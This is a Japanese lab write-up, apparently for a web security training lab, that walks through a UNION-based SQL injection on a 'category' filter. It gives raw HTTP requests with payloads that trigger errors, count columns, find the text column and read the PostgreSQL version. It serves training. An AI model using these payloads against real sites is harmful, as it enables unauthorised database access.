SQL injection 16 / 51 LAB4

UNION attack: テキストを含む列の発見

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
ゴール:Webページ上に所定の文字列を出力する。

「アクセサリー」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
~省略~
<th>ZZZZZZ Bed - Your New Home Office</th>

4行、3列の出力

検証例1:エラーを発生させてみる「'」=「%27」の入力

GET /filter?category=Accessories%27 HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Accessories%27%27 HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 200 OK
~省略~

SQLインジェクションがあると判定。

検証例2:null を増やしていく

null 3つで 200ok、DB上の列もWebページ上の見た目と同じく3列であることが分かる。

GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
Host: 0a9900c8044f594b80b3e45400f00075.web-security-academy.net
Cookie: session=t1WUvqgc2MSAAKYy0vDQnB7lHSgWFWg0
~省略~


HTTP/2 200 OK
~省略~

検証例3:どの列で文字列型が利用可能か調べる

GET /filter?category=Accessories%27union+select+'a',null,null-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Accessories%27union+select+null,'a',null-- HTTP/2
~省略~

HTTP/2 200 OK
~省略~
GET /filter?category=Accessories%27union+select+null,null,'a'-- HTTP/2

HTTP/2 500 Internal Server Error
~省略~

2列目で文字列型が使える。

検証例4:指定の文字列を出力する

今回のページ上部に Make the database retrieve the string: '8DmiK2' と記載されているため、その文字列を出力すると解決。

補足:今回のDBはPostgreSQL

GET /filter?category=Accessories%27union%20select%20null,version(),null--
~省略~

HTTP/2 200 OK
<th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th>
~省略~
/* -----codeの行番号----- */